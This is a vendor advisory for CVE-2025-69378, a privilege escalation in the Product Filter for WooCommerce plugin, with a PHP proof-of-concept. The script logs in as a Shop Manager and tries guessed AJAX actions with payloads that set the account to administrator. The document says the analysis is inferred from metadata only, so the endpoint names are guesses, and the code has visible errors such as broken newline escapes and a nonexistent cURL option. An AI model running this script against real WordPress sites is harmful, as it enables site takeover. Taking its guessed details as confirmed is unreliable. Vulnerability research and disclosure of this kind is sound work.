Atomic Edge analysis of CVE-2025-69378 (metadata-based):
This vulnerability allows authenticated attackers with Shop Manager or higher privileges to escalate their permissions to Administrator level within WordPress. The Product Filter for WooCommerce plugin fails to properly restrict privilege assignment in versions up to and including 9.1.2. The CVSS 7.2 score reflects high impact with network accessibility and low attack complexity.
Atomic Edge research indicates the root cause is CWE-266: Incorrect Privilege Assignment. The plugin likely contains a function or AJAX endpoint that improperly handles user role or capability modifications. This could involve a missing capability check on an administrative function, or a flawed user role update mechanism that accepts attacker-controlled parameters. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with Shop Manager privileges. The attacker would send a crafted request to a plugin-specific AJAX endpoint, likely at /wp-admin/admin-ajax.php with action=prdctfltr_* or a similar pattern. The payload would contain parameters that modify the user’s role or capabilities, such as user_id, role, or capability arrays. The request would bypass proper authorization checks, directly assigning administrative privileges to the attacker’s account.
Remediation requires implementing proper capability checks before any user role or privilege modification. The plugin should verify the current user has the ‘promote_users’ capability or equivalent before processing role changes. All user input for role assignment must be validated against an allowed list of roles the current user can assign. WordPress core functions like current_user_can() and user_can() should enforce these checks.
Successful exploitation grants the attacker full administrative control over the WordPress site. This includes complete access to all plugin and theme files, database manipulation through wp-admin, user management, and potential code execution via plugin/theme editors. The attacker could create backdoor administrator accounts, exfiltrate sensitive data, or deploy malicious code across the site.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69378 - Product Filter for WooCommerce <= 9.1.2 - Authenticated (Shop Manager+) Privilege Escalation
<?php
/**
* Proof of Concept for CVE-2025-69378
* Assumptions based on metadata analysis:
* 1. Plugin uses AJAX endpoints (common WordPress pattern)
* 2. Endpoint lacks proper capability checking
* 3. Parameters allow role/capability modification
* 4. Shop Manager can access the vulnerable endpoint
*/
$target_url = 'https://vulnerable-site.com';
$username = 'shop_manager';
$password = 'shop_manager_password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check login success by verifying admin access
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
$admin_response = curl_exec($ch);
if (strpos($admin_response, 'Shop Manager') === false) {
die('Login failed or user is not Shop Manager');
}
// Attempt privilege escalation via plugin AJAX endpoint
// Multiple common AJAX action patterns tested based on plugin slug
$ajax_actions = [
'prdctfltr_update_user_role',
'prdctfltr_save_settings',
'prdctfltr_admin_ajax',
'prdctfltr_process_request'
];
foreach ($ajax_actions as $action) {
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
// Common privilege escalation payload patterns
$payloads = [
['action' => $action, 'user_id' => '1', 'new_role' => 'administrator'],
['action' => $action, 'capabilities' => 'a:1:{s:13:"administrator";b:1;}'],
['action' => $action, 'role' => 'administrator', 'current_user' => '1'],
['action' => $action, 'user_meta' => 'wp_capabilities', 'meta_value' => 'a:1:{s:13:"administrator";b:1;}']
];
foreach ($payloads as $payload) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);
// Check for success indicators
if (strpos($response, 'success') !== false ||
strpos($response, 'updated') !== false ||
strpos($response, 'true') !== false) {
echo "Potential success with action: $actionn";
echo "Payload: " . print_r($payload, true) . "n";
echo "Response: $responsenn";
}
}
}
// Verify escalation by checking administrator capabilities
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/user-new.php');
curl_setopt($ch, CURLOPT_GET, 1);
$verification = curl_exec($ch);
if (strpos($verification, 'Add New User') !== false &&
strpos($verification, 'Shop Manager') === false) {
echo "SUCCESS: Privilege escalation likely achieved.n";
echo "Can access administrator-only user creation page.n";
} else {
echo "FAILED: Could not verify privilege escalation.n";
}
curl_close($ch);
?>
